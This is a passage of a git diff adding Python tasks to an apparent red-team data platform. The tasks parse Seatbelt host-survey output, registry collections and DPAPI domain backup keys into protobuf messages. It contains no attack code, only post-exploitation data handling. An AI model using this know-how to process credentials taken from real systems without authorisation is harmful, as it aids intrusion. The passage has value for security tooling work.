+ await logger.aerror("Received a DPAPI backupkey file that is empty", metadata=metadata)
+ return
+ elif size < 2:
+ await logger.aerror("Received a DPAPI backupkey file that is less than 2 bytes, and therefore invalid JSON", metadata=metadata)
+ return
+
+ with open(temp_file.name, "rb") as f:
+ domain_backupkey_msg = await self.parse_json(f.read(), metadata)
+ await self.dpapi_domain_backupkey_q_out.Send(domain_backupkey_msg.SerializeToString())
+
+ async def parse_json(self, text: bytes, metadata: pb.Metadata) -> pb.DpapiDomainBackupkeyMessage:
+ domain_backupkey: Dict[str, str] = json.loads(text)
+
+ if "domain_backupkey_guid" not in domain_backupkey:
+ raise ValueError("Received DpapiDomainBackupkeyMessage, but domain_backupkey_guid not found in JSON")
+
+ if "domain_backupkey_b64" not in domain_backupkey:
+ raise ValueError("Received DpapiDomainBackupkeyMessage, but domain_backupkey_b64 not found in JSON")
+
+ domain_backupkey_guid = domain_backupkey["domain_backupkey_guid"]
+ domain_controller = domain_backupkey["domain_controller"] if "domain_controller" in domain_backupkey else ""
+ domain_backupkey_bytes = base64.b64decode(domain_backupkey["domain_backupkey_b64"])
+
+ domain_backupkey_msg = pb.DpapiDomainBackupkeyMessage()
+ domain_backupkey_data = pb.DpapiDomainBackupkey(
+ domain_controller=domain_controller,
+ domain_backupkey_guid=domain_backupkey_guid,
+ domain_backupkey_bytes=domain_backupkey_bytes,
+ )
+
+ domain_backupkey_msg.metadata.CopyFrom(metadata)
+ domain_backupkey_msg.data.extend([domain_backupkey_data])
+
+ return domain_backupkey_msg
diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py
new file mode 100644
index 0000000..23e6ce6
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/raw_data_tag.py
@@ -0,0 +1,187 @@
+# Standard Libraries
+import asyncio
+import time
+import uuid
+from typing import Callable
+
+# 3rd Party Libraries
+import enrichment.lib.nemesis_db as db
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.nemesis_db import NemesisDb
+from enrichment.tasks.raw_data_tag.bof_reg_collect_parser import BofRegCollect
+from enrichment.tasks.raw_data_tag.dpapi_domain_backupkey import dpapi_domain_backupkey
+from enrichment.tasks.raw_data_tag.seatbelt_json import seatbelt_json
+from google.protobuf.json_format import ParseDict
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from enrichment.lib.registry import include_registry_value
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger()
+
+
+class RawDataTag(TaskInterface):
+ """
+ Class responsible for processing the "tags" field in RawDataIngestionMessage messages.
+ """
+
+ storage: StorageInterface
+ db: NemesisDb
+ in_q_rawdata: MessageQueueConsumerInterface
+ reg_value_q: MessageQueueProducerInterface
+ file_info_q: MessageQueueProducerInterface
+ service_output_q: MessageQueueProducerInterface
+ named_pipe_q: MessageQueueProducerInterface
+ dpapi_domain_backupkey_q_out: MessageQueueProducerInterface
+ out_q_network_connection: MessageQueueProducerInterface
+ RAW_DATA_HANDLER_MAP = {}
+
+ def __init__(
+ self,
+ storage: StorageInterface,
+ db: NemesisDb,
+ in_q_rawdata: MessageQueueConsumerInterface,
+ out_q_dpapi_domain_backupkey: MessageQueueProducerInterface,
+ out_q_file_info: MessageQueueProducerInterface,
+ out_q_reg_value: MessageQueueProducerInterface,
+ out_q_service: MessageQueueProducerInterface,
+ out_q_named_pipe: MessageQueueProducerInterface,
+ out_q_network_connection: MessageQueueProducerInterface,
+ ):
+ self.in_q_rawdata = in_q_rawdata
+
+ self.TAG_HANDLER_MAP: dict[str, Callable] = {
+ "bof_reg_collect": self.process_bof_reg_collect,
+ "seatbelt_json": self.process_seatbelt_raw_data,
+ "dpapi_domain_backupkey": self.process_dpapi_domain_backupkey,
+ }
+ self.storage = storage
+ self.db = db
+
+ self.dpapi_domain_backupkey_q_out = out_q_dpapi_domain_backupkey
+ self.file_info_q = out_q_file_info
+ self.reg_value_q = out_q_reg_value
+ self.service_output_q = out_q_service
+ self.named_pipe_q = out_q_named_pipe
+ self.network_connection_q = out_q_network_connection
+
+ async def run(self) -> None:
+ await self.in_q_rawdata.Read(self.process_message) # type: ignore
+ await asyncio.Future()
+
+ async def process_message(self, event: pb.RawDataIngestionMessage) -> None:
+ """Processes tags in RawDataIngestionMessage messages.
+
+ Args:
+ event (pb.RawDataIngestionMessage): RawDataIngestionMessage to process.
+ """
+
+ if not len(event.data) > 0:
+ return
+
+ for data in event.data:
+ if not data.tags:
+ continue
+
+ for tag in data.tags:
+ if tag in self.TAG_HANDLER_MAP:
+ structlog.contextvars.bind_contextvars(
+ tag=tag,
+ message_id=event.metadata.message_id,
+ )
+ start_time = time.perf_counter()
+ await logger.ainfo("Processing raw_data")
+
+ await self.ensure_project_exists(event.metadata)
+ await self.TAG_HANDLER_MAP[tag](data, event.metadata)
+
+ end_time = time.perf_counter()
+ await logger.ainfo(
+ "Finished processing tag",
+ total_time=(end_time - start_time),
+ )
+
+ async def ensure_project_exists(self, metadata: pb.Metadata):
+ """Ensures a project exists in the database.
+
+ Args:
+ metadata (pb.Metadata): Metadata for the project.
+ """
+ # TODO: Create a cache of projects stored in memory so we don't hit the DB for every event
+ p = db.Project(
+ metadata.project,
+ metadata.timestamp.ToDatetime(),
+ metadata.expiration.ToDatetime(),
+ )
+ await self.db.add_project(p)
+
+ @aio.time(Summary("process_bof_reg_collect", "Time spent processing bof_reg_collect")) # type: ignore
+ async def process_bof_reg_collect(self, event: pb.RawDataIngestion, metadata: pb.Metadata):
+ """Processes a raw_data message associated with a bof_reg_collect file.
+
+ Args:
+ event (pb.RawDataIngestion): RawDataIngestion event to process.
+ metadata (pb.Metadata): Metadata for the event.
+ """
+
+ if not event.is_file:
+ await logger.awarning("Received a bof_reg_collect file that is not a file", metadata=metadata)
+ return
+
+ # When the raw_data record has is_file=True, the "data" field is the file object UUID
+ filename = uuid.UUID(event.data)
+
+ with await self.storage.download(filename) as temp_file:
+ msg = pb.RegistryValueIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+
+ keys = [
+ {"key": key.path, "value_name": key.key, "value": str(key.value), "value_kind": key.type_}
+ for key in BofRegCollect.from_file(temp_file.name).parse()
+ if include_registry_value(key=key.path, value_name=key.key, value_kind=key.type_, value=key.value)
+ ]
+ for key in keys:
+ obj = pb.RegistryValueIngestion()
+ msg_fmt = ParseDict(key, obj)
+ msg.data.append(msg_fmt)
+
+ await self.reg_value_q.Send(msg.SerializeToString())
+
+ @aio.time(Summary("process_tag_seatbelt_json", "Time spent processing Seatbelt JSON")) # type: ignore
+ async def process_seatbelt_raw_data(self, event: pb.RawDataIngestion, metadata: pb.Metadata):
+ """Processes a raw_data message associated with a Seatbelt NDJSON file.
+
+ Args:
+ event (pb.RawDataIngestion): RawDataIngestion event to process.
+ metadata (pb.Metadata): Metadata for the event.
+ """
+ seatbelt = seatbelt_json(
+ self.db,
+ self.storage,
+ self.file_info_q,
+ self.reg_value_q,
+ self.service_output_q,
+ self.named_pipe_q,
+ self.network_connection_q,
+ )
+ await seatbelt.process(event, metadata)
+
+ @aio.time(Summary("process_tag_dpapi_domain_backupkey", "Time spent processing DPAPI domain backup keys")) # type: ignore
+ async def process_dpapi_domain_backupkey(self, event: pb.RawDataIngestion, metadata: pb.Metadata):
+ """Processes a raw_data message associated with a DPAPI domain backupkey.
+
+ Args:
+ event (pb.RawDataIngestion): RawDataIngestion event to process.
+ metadata (pb.Metadata): Metadata for the event.
+ """
+ dpapi = dpapi_domain_backupkey(
+ dpapi_domain_backupkey_q_out=self.dpapi_domain_backupkey_q_out,
+ storage=self.storage,
+ )
+ await dpapi.process(event, metadata)
diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py
new file mode 100644
index 0000000..8a44dab
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_datatypes.py
@@ -0,0 +1,470 @@
+# Standard Libraries
+import base64
+import json
+import re
+from dataclasses import dataclass
+from datetime import datetime, timezone
+from decimal import Decimal
+from enum import Enum
+from typing import Any, Dict, List, Optional
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+from pydantic.types import UUID4
+
+
+class SeatbeltDtoTypes(Enum):
+ DIRECTORY_INFO = "Seatbelt.Commands.Windows.DirectoryInfoDTO"
+ FILE_INFO = "Seatbelt.Commands.Windows.FileInfoDTO"
+ OS_INFO = "Seatbelt.Commands.Windows.OSInfoDTO"
+ REGISTRY_VALUE = "Seatbelt.Commands.Windows.RegistryValueDTO"
+ SERVICE_INFO = "Seatbelt.Commands.Windows.ServicesDTO"
+ SLACK_DOWNLOADS = "Seatbelt.Commands.SlackDownloadsCommand+SlackDownloadsDTO"
+ SLACK_WORKSPACES = "Seatbelt.Commands.Products.SlackWorkspacesCommand+SlackWorkspacesDTO"
+ NAMED_PIPE = "Seatbelt.Commands.Windows.NamedPipesDTO"
+ TCP_CONNECTION = "Seatbelt.Commands.Windows.TcpConnectionsDTO"
+ UDP_CONNECTION = "Seatbelt.Commands.Windows.UdpConnectionsDTO"
+
+
+class RegistryValueKindEnum(Enum):
+ NONE = 0
+ SZ = 1
+ EXPAND_SZ = 2
+ BINARY = 3
+ DWORD = 4
+ DWORD_BIG_ENDIAN = 5
+ LINK = 6
+ MULTI_SZ = 7
+ RESOURCE_LIST = 8
+ FULL_RESOURCE_DESCRIPTOR = 9
+ RESOURCE_REQUIREMENTS_LIST = 10
+ QWORD = 11
+
+
+# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/RegistryValueCommand.cs#L181-L196
+@dataclass
+class SeatbeltRegistryValue:
+ Key: str
+ ValueName: Optional[str] = None
+ Value: Optional[Any] = None
+ ValueKind: Optional[RegistryValueKindEnum] = None
+ SDDL: Optional[str] = None
+
+ @staticmethod
+ def from_dict(json_dict: dict):
+ if "Key" not in json_dict:
+ raise ValueError("Invalid SeatbeltRegistryValue: missing 'Key' field")
+
+ if "ValueKind" in json_dict:
+ json_dict["ValueKind"] = RegistryValueKindEnum(json_dict["ValueKind"])
+ return SeatbeltRegistryValue(
+ json_dict["Key"], json_dict.get("ValueName"), json_dict.get("Value"), json_dict.get("ValueKind"), json_dict.get("SDDL")
+ )
+
+ def to_protobuf(self) -> pb.RegistryValueIngestion:
+ """Converts a SeatbeltRegistryValue object to a RegistryValueIngestionMessage protobuf object.
+ In the process, it normalizes the registry data to conform to Nemesis' format.
+ Namely, is converts ValueNames of "(default)" to "", and converts binary data to base64.
+
+ Returns:
+ RegistryValueIngestion: The converted RegistryValueIngestion protobuf
+ """
+ # normalize registry data to Nemesis format
+
+ # Default values in Seatbelt have name of "(default)" where as Nemesis expects ""
+ if self.ValueName == "(default)":
+ self.ValueName = ""
+
+ # Convert all values to a string
+ if self.Value is not None:
+ if self.ValueKind is None:
+ raise ValueError("Cannot deserialize registry value since the ValueKind is unknown")
+
+ if self.ValueKind == RegistryValueKindEnum.BINARY:
+ b = bytes(self.Value)
+ self.Value = base64.b64encode(b).decode("utf-8")
+ else:
+ self.Value = str(self.Value)
+
+ # new_data = pb.RegistryValueIngestion(data.Key, self.ValueName, self.ValueKind, self.Value, self.SDDL)
+ output = pb.RegistryValueIngestion()
+ output.key = self.Key
+
+ if self.ValueName is not None:
+ output.value_name = self.ValueName
+
+ if self.ValueKind is not None:
+ output.value_kind = self.ValueKind.value
+
+ if self.Value is not None:
+ output.value = self.Value
+
+ if self.SDDL is not None:
+ output.sddl = self.SDDL
+
+ return output
+
+
+# TODO: DirectoryInfoDTO
+# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Misc/FileInfoCommand.cs#L176-L232
+@dataclass
+class SeatbeltFileInfo:
+ FileName: str
+ Comments: Optional[str] = None
+ CompanyName: Optional[str] = None
+ FileDescription: Optional[str] = None
+ FileVersion: Optional[str] = None
+ InternalName: Optional[str] = None
+ IsDebug: Optional[bool] = None
+ IsDotNet: Optional[bool] = None
+ IsPatched: Optional[bool] = None
+ IsPreRelease: Optional[bool] = None
+ IsPrivateBuild: Optional[bool] = None
+ IsSpecialBuild: Optional[bool] = None
+ Language: Optional[str] = None
+ LegalCopyright: Optional[str] = None
+ LegalTrademarks: Optional[str] = None
+ OriginalFilename: Optional[str] = None
+ PrivateBuild: Optional[str] = None
+ ProductName: Optional[str] = None
+ ProductVersion: Optional[str] = None
+ SpecialBuild: Optional[str] = None
+ Attributes: Optional[str] = None
+ CreationTimeUtc: Optional[datetime] = None
+ LastAccessTimeUtc: Optional[datetime] = None
+ LastWriteTimeUtc: Optional[datetime] = None
+ Length: Optional[int] = None
+ SDDL: Optional[str] = None
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ i = cls(**data)
+ if i.CreationTimeUtc:
+ i.CreationTimeUtc = parse_seatbelt_date(str(i.CreationTimeUtc))
+ if i.LastAccessTimeUtc:
+ i.LastAccessTimeUtc = parse_seatbelt_date(str(i.LastAccessTimeUtc))
+ if i.LastWriteTimeUtc:
+ i.LastWriteTimeUtc = parse_seatbelt_date(str(i.LastWriteTimeUtc))
+ return i
+
+ def to_protobuf(self) -> pb.FileInformationIngestion:
+ """Converts a SeatbeltFileInfo object to a FileInformationIngestion protobuf object.
+
+ Returns:
+ FileInformationIngestion: The converted FileInformationIngestion protobuf
+
+ nemesis.filesystem_objects (agent_id, project_id, source, timestamp, expiration, path, name, extension, type, size, access_time, creation_time, modification_time, sddl)
+ """
+
+ output = pb.FileInformationIngestion()
+
+ output.path = self.FileName
+ output.type = "file"
+
+ if self.Length:
+ output.size = self.Length
+ if self.CreationTimeUtc:
+ output.creation_time.FromDatetime(self.CreationTimeUtc)
+ if self.LastAccessTimeUtc:
+ output.access_time.FromDatetime(self.LastAccessTimeUtc)
+ if self.LastWriteTimeUtc:
+ output.modification_time.FromDatetime(self.LastWriteTimeUtc)
+ if self.SDDL:
+ output.sddl = self.SDDL
+
+ output.version_info = (
+ f"OriginalFilename: {self.OriginalFilename}\nFileDescription: {self.FileDescription}ProductName: \n{self.ProductName}\n"
+ f"Comments: {self.Comments}\nCompanyName: {self.CompanyName}\nFileName: {self.FileName}\nFileVersion: {self.FileVersion}\n"
+ f"ProductVersion: {self.ProductVersion}\nIsDebug: {self.IsDebug}\nIsPatched: {self.IsPatched}\nIsPreRelease: {self.IsPreRelease}\n"
+ f"IsPrivateBuild: {self.IsPrivateBuild}\nIsSpecialBuild: {self.IsSpecialBuild}\nLanguage: {self.Language}\nLegalCopyright: {self.LegalCopyright}\n"
+ f"LegalTrademarks: {self.LegalTrademarks}\nPrivateBuild: {self.PrivateBuild}\nSpecialBuild: {self.SpecialBuild}"
+ )
+
+ return output
+
+
+# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/ServicesCommand.cs#L245-L278
+@dataclass
+class SeatbeltService:
+ Name: str
+ DisplayName: str
+ Description: Optional[str]
+ User: Optional[str]
+ State: Optional[str]
+ StartMode: Optional[str]
+ Type: Optional[str]
+ ServiceCommand: Optional[str]
+ BinaryPath: Optional[str]
+ BinaryPathSDDL: Optional[str]
+ ServiceDll: Optional[str]
+ ServiceSDDL: Optional[str]
+ CompanyName: Optional[str]
+ FileDescription: Optional[str]
+ Version: Optional[str]
+ IsDotNet: Optional[str]
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ return cls(**data)
+
+ def to_protobuf(self) -> pb.ServiceIngestion:
+ """Converts a SeatbeltService object to a ServiceIngestion protobuf object.
+
+ Returns:
+ ServiceIngestion: The converted ServiceIngestion protobuf
+ """
+
+ output = pb.ServiceIngestion()
+
+ output.name = self.Name
+ output.display_name = self.DisplayName
+
+ if self.Description:
+ output.description = self.Description
+ if self.User:
+ output.start_name = self.User
+ if self.State:
+ output.state = self.State
+ if self.StartMode:
+ output.start_mode = self.StartMode
+ if self.Type:
+ if self.Type.lower() == "unknown" and re.match(".*_[a-zA-Z0-9_]{5}$", self.Name):
+ output.type = "Per-user"
+ else:
+ output.type = self.Type
+ if self.ServiceCommand:
+ output.service_command = self.ServiceCommand
+ if self.ServiceDll:
+ output.service_dll = self.ServiceDll
+ if self.ServiceDll:
+ output.service_sddl = self.ServiceDll
+
+ return output
+
+
+@dataclass
+class SeatbeltNamedPipe:
+ Name: str
+ ServerProcessName: Optional[str]
+ ServerProcessPID: Optional[int]
+ ServerProcessPath: Optional[str]
+ Sddl: Optional[str]
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ # transform old named pipe format
+ if "OwningProcessName" in data:
+ data["ServerProcessName"] = data.pop("OwningProcessName")
+ if "OwningProcessPID" in data:
+ data["ServerProcessPID"] = data.pop("OwningProcessPID")
+ if "ServerProcessPath" not in data:
+ data["ServerProcessPath"] = ""
+ return cls(**data)
+
+ def to_protobuf(self) -> pb.NamedPipeIngestion:
+ """Converts a SeatbeltNamedPipe object to a NamedPipeIngestion protobuf object.
+
+ Returns:
+ NamedPipeIngestion: The converted NamedPipeIngestion protobuf
+ """
+
+ output = pb.NamedPipeIngestion()
+
+ output.name = self.Name
+
+ if self.ServerProcessName and self.ServerProcessName != "Unk":
+ output.server_process_name = self.ServerProcessName
+ if self.ServerProcessPID:
+ output.server_process_id = self.ServerProcessPID
+ if self.ServerProcessPath:
+ output.server_process_path = self.ServerProcessPath.replace("\\", "/")
+ if self.Sddl and self.Sddl != "ERROR":
+ output.sddl = self.Sddl
+
+ return output
+
+
+# ref - https://github.com/GhostPack/Seatbelt/blob/e97b184755d070493a83c3af70da9417e5fd806f/Seatbelt/Commands/Windows/TCPConnectionsCommand.cs#L121-L141
+@dataclass
+class SeatbeltTcpConnection:
+ LocalAddress: str
+ LocalPort: Optional[int]
+ RemoteAddress: Optional[str]
+ RemotePort: Optional[int]
+ State: Optional[str]
+ ProcessId: Optional[int]
+ ProcessName: Optional[str]
+ ProcessCommandLine: Optional[str]
+ ServiceName: Optional[str]
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ # transform old format
+ if "ProcessCommandLine" not in data and "Command" in data:
+ data["ProcessCommandLine"] = data.pop("Command")
+ if "ProcessName" not in data:
+ data["ProcessName"] = ""
+ if "ServiceName" not in data and "Service" in data:
+ data["ServiceName"] = data.pop("Service")
+ return cls(**data)
+
+ def to_protobuf(self) -> pb.NetworkConnectionIngestion:
+ """Converts a SeatbeltTcpConnection object to a NetworkConnectionIngestion protobuf object.
+
+ Returns:
+ NetworkConnectionIngestion: The converted NetworkConnectionIngestion protobuf
+ """
+
+ output = pb.NetworkConnectionIngestion()
+
+ tcp_states = {
+ 1: "CLOSED",
+ 2: "LISTEN",
+ 3: "SYN_SENT",
+ 4: "SYN_RCVD",
+ 5: "ESTABLISHED",
+ 6: "FIN_WAIT1",
+ 7: "FIN_WAIT2",
+ 8: "CLOSE_WAIT",
+ 9: "CLOSING",
+ 10: "LAST_ACK",
+ 11: "TIME_WAIT",
+ 12: "UNKNOWN",
+ }
+
+ output.local_address = f"{self.LocalAddress}:{self.LocalPort}"
+ output.remote_address = f"{self.RemoteAddress}:{self.RemotePort}"
+ output.protocol = "tcp,ipv4"
+ if self.State:
+ if self.State in tcp_states:
+ output.state = tcp_states[self.State]
+ else:
+ output.state = f"{self.State}"
+ if self.ProcessId:
+ output.process_id = self.ProcessId
+ if self.ProcessName:
+ output.process_name = self.ProcessName
+ if self.ServiceName:
+ output.service = self.ServiceName
+
+ return output
+
+
+# ref - https://github.com/GhostPack/Seatbelt/blob/e97b184755d070493a83c3af70da9417e5fd806f/Seatbelt/Commands/Windows/UDPConnectionsCommand.cs#L117-L132
+@dataclass
+class SeatbeltUdpConnection:
+ LocalAddress: str
+ LocalPort: Optional[int]
+ ProcessId: Optional[int]
+ ProcessName: Optional[str]
+ ProcessCommandLine: Optional[str]
+ ServiceName: Optional[str]
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ if "ProcessCommandLine" not in data and "ProcessName" in data:
+ data["ProcessCommandLine"] = data.pop("ProcessName")
+ if "ProcessName" not in data:
+ data["ProcessName"] = ""
+ if "ServiceName" not in data and "Service" in data:
+ data["ServiceName"] = data.pop("Service")
+ return cls(**data)
+
+ def to_protobuf(self) -> pb.NetworkConnectionIngestion:
+ """Converts a SeatbeltUdpConnection object to a NetworkConnectionIngestion protobuf object.
+
+ Returns:
+ NetworkConnectionIngestion: The converted NetworkConnectionIngestion protobuf
+ """
+
+ output = pb.NetworkConnectionIngestion()
+
+ output.local_address = f"{self.LocalAddress}:{self.LocalPort}"
+ output.protocol = "udp,ipv4"
+ if self.ProcessId:
+ output.process_id = self.ProcessId
+ if self.ProcessName:
+ output.process_name = self.ProcessName
+ if self.ServiceName:
+ output.service = self.ServiceName
+
+ return output
+
+
+# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Commands/Windows/OSInfoCommand.cs#L180-L230
+@dataclass
+class SeatbeltOSInfo:
+ Hostname: str
+ Domain: Optional[str]
+ Username: Optional[str]
+ ProductName: Optional[str]
+ EditionId: Optional[str]
+ ReleaseId: Optional[int]
+ Build: Optional[str]
+ BuildBranch: Optional[str]
+ CurrentMajorVersionNumber: Optional[Decimal]
+ CurrentVersion: Optional[str]
+ Architecture: Optional[str]
+ ProcessorCount: Optional[int]
+ IsVirtualMachine: Optional[bool]
+ BootTimeUtc: Optional[str]
+ IsHighIntegrity: Optional[bool]
+ IsLocalAdmin: Optional[bool]
+ CurrentTimeUtc: Optional[datetime]
+ TimeZone: Optional[str]
+ TimeZoneUtcOffset: Optional[str]
+ Locale: Optional[str]
+ InputLanguage: Optional[str]
+ InstalledInputLanguages: Optional[List[str]]
+ MachineGuid: Optional[UUID4]
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ return cls(**data)
+
+
+# https://github.com/GhostPack/Seatbelt/blob/071ad593bc698635e6d637c0ff69cc102ff6eebc/Seatbelt/Output/Sinks/JsonFileOutputSink.cs#L36-L40
+@dataclass
+class SeatbeltBaseDTO:
+ Type: str
+ Data: Any
+
+ @classmethod
+ def from_json(cls, json_data: str):
+ data = json.loads(json_data)
+ if not data.get("Type") or not data.get("Data"):
+ raise ValueError("Invalid SeatbeltBaseDTO: missing 'Type' or 'Data' field")
+ return cls(data["Type"], data["Data"])
+
+ @classmethod
+ def from_dict(cls, data: Dict[str, Any]):
+ if not data.get("Type") or not data.get("Data"):
+ raise ValueError("Invalid SeatbeltBaseDTO: missing 'Type' or 'Data' field")
+ return cls(data["Type"], data["Data"])
+
+
+SEATBELT_DATE_START_TOKEN = "/Date("
+SEATBELT_DATE_END_TOKEN = ")/"
+
+
+def parse_seatbelt_date(date_string: str) -> datetime:
+ """Parses a Seatbelt date string into a datetime object.
+
+ Seatbelt's date format is in the form of '/Date(1651900411539)/' , which represent 5/7/2022 5:13:31 AM UTC.
+
+ Args:
+ date_string (str): The Seatbelt date string to parse.
+
+ Raises:
+ ValueError: If the date string is not in the format of '/Date(%d)/'.
+
+ Returns:
+ datetime: The parsed datetime object.
+ """
+ if not date_string.startswith(SEATBELT_DATE_START_TOKEN) or not date_string.endswith(SEATBELT_DATE_END_TOKEN):
+ raise ValueError(f"Invalid Seatbelt date string. Expected a date in the format of '/Date(%d)/' but got '{date_string}'")
+
+ num = date_string[len(SEATBELT_DATE_START_TOKEN) : -(len(SEATBELT_DATE_END_TOKEN))]
+ epoch = int(num) / 1000
+
+ return datetime.fromtimestamp(epoch, tz=timezone.utc)
diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py
new file mode 100644
index 0000000..df61cd1
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/seatbelt_json.py
@@ -0,0 +1,262 @@
+# Standard Libraries
+import asyncio
+import uuid
+from typing import Callable, Coroutine
+
+# 3rd Party Libraries
+import enrichment.lib.nemesis_db as db
+import jsonlines
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.nemesis_db import Metadata, NemesisDb
+from enrichment.tasks.raw_data_tag.seatbelt_datatypes import (
+ SeatbeltBaseDTO,
+ SeatbeltDtoTypes,
+ SeatbeltFileInfo,
+ SeatbeltNamedPipe,
+ SeatbeltOSInfo,
+ SeatbeltRegistryValue,
+ SeatbeltService,
+ SeatbeltTcpConnection,
+ SeatbeltUdpConnection,
+ parse_seatbelt_date,
+)
+from nemesiscommon.messaging import MessageQueueProducerInterface
+from nemesiscommon.storage import StorageInterface
+
+logger = structlog.get_logger(__name__)
+
+
+class seatbelt_json:
+ db: NemesisDb
+ storage: StorageInterface
+ file_info_q: MessageQueueProducerInterface
+ reg_value_q: MessageQueueProducerInterface
+ service_output_q: MessageQueueProducerInterface
+ named_pipe_q: MessageQueueProducerInterface
+ network_connection_q: MessageQueueProducerInterface
+ tasks_set = set()
+
+ def __init__(
+ self,
+ db: NemesisDb,
+ storage: StorageInterface,
+ file_info_q: MessageQueueProducerInterface,
+ reg_value_q: MessageQueueProducerInterface,
+ service_output_q: MessageQueueProducerInterface,
+ named_pipe_q: MessageQueueProducerInterface,
+ network_connection_q: MessageQueueProducerInterface,
+ ):
+ self.db = db
+ self.storage = storage
+ self.file_info_q = file_info_q
+ self.reg_value_q = reg_value_q
+ self.service_output_q = service_output_q
+ self.named_pipe_q = named_pipe_q
+ self.network_connection_q = network_connection_q
+
+ async def create_task(self, func: Coroutine) -> None:
+ task = asyncio.create_task(func)
+ self.tasks_set.add(task)
+ task.add_done_callback(self.tasks_set.discard)
+
+ async def process(self, event: pb.RawDataIngestion, metadata: pb.Metadata) -> None:
+ """Processes a raw_data message associated with a Seatbelt NDJSON file.
+
+ Args:
+ event (pb.RawDataIngestion): RawDataIngestion event to process.
+ metadata (pb.Metadata): Metadata for the event.
+ """
+
+ if not event.is_file:
+ await logger.awarning("Received a Seatbelt file that is not a file", metadata=metadata)
+ return
+
+ # Create seatbelt taskgroup
+ self.reg_msg = pb.RegistryValueIngestionMessage()
+ self.reg_msg.metadata.CopyFrom(metadata)
+
+ # When the raw_data record has is_file=True, the "data" field is the file object UUID
+ filename = uuid.UUID(event.data)
+
+ with await self.storage.download(filename) as temp_file:
+ await self.read_ndjson_file(
+ temp_file.name,
+ self.parse_json,
+ metadata=metadata,
+ )
+
+ # Send outstanding registry messages
+ if len(self.reg_msg.data) > 0:
+ await self.create_task(self.reg_value_q.Send(self.reg_msg.SerializeToString()))
+ del self.reg_msg.data[:] # Clear the list
+
+ # wait for all outstanding tasks to complete
+ await logger.ainfo("Waiting for all tasks to complete")
+ await asyncio.gather(*self.tasks_set)
+
+ async def read_ndjson_file(self, filename: str, callback: Callable, **kwargs) -> None:
+ """Loads a Seatbelt new-line deliniated JSON file and calls the callback function for each DTO entry.
+
+ Args:
+ filename (str): Path to the new-line deliniated Seatbelt JSON file
+ metadata (pb.Metadata): The metadata for the raw_data event
+ callback (function): Callback function to call for each entry in the file. The callback should accept two arguments: the SeatbeltBaseDTO object and the metadata.
+ """
+ with jsonlines.open(filename) as reader:
+ for line in reader:
+ await callback(line, **kwargs)
+
+ async def parse_json(self, line, metadata: pb.Metadata):
+ obj = SeatbeltBaseDTO.from_dict(line)
+ await self.process_dto(obj, metadata)
+
+ async def process_dto(self, obj: SeatbeltBaseDTO, metadata: pb.Metadata):
+ """Processes a SeatbeltBaseDTO object and sends the appropriate protobuf message to the appropriate queue.
+ This function is called for each entry in the Seatbelt JSON file.
+
+ Args:
+ obj (SeatbeltBaseDTO): The SeatbeltBaseDTO object to process
+ metadata (pb.Metadata): The metadata for the raw_data event
+ """
+
+ if obj.Type == SeatbeltDtoTypes.REGISTRY_VALUE.value:
+ reg_dto = SeatbeltRegistryValue.from_dict(obj.Data)
+ reg_pb = reg_dto.to_protobuf()
+
+ self.reg_msg.data.append(reg_pb)
+
+ if len(self.reg_msg.data) >= 100:
+ await self.create_task(self.reg_value_q.Send(self.reg_msg.SerializeToString()))
+ del self.reg_msg.data[:] # Clear the list
+
+ elif obj.Type == SeatbeltDtoTypes.FILE_INFO.value:
+ file_dto = SeatbeltFileInfo.from_dict(obj.Data)
+ file_pb = file_dto.to_protobuf()
+
+ msg = pb.FileInformationIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(file_pb)
+
+ await self.create_task(self.file_info_q.Send(msg.SerializeToString()))
+
+ elif obj.Type == SeatbeltDtoTypes.NAMED_PIPE.value:
+ named_pipe_dto = SeatbeltNamedPipe.from_dict(obj.Data)
+ named_pipe_pb = named_pipe_dto.to_protobuf()
+
+ msg = pb.NamedPipeIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(named_pipe_pb)
+
+ await self.create_task(self.named_pipe_q.Send(msg.SerializeToString()))
+
+ elif obj.Type == SeatbeltDtoTypes.TCP_CONNECTION.value:
+ tcp_connection_dto = SeatbeltTcpConnection.from_dict(obj.Data)
+ tcp_connection_pb = tcp_connection_dto.to_protobuf()
+
+ msg = pb.NetworkConnectionIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(tcp_connection_pb)
+
+ await self.create_task(self.network_connection_q.Send(msg.SerializeToString()))
+
+ elif obj.Type == SeatbeltDtoTypes.UDP_CONNECTION.value:
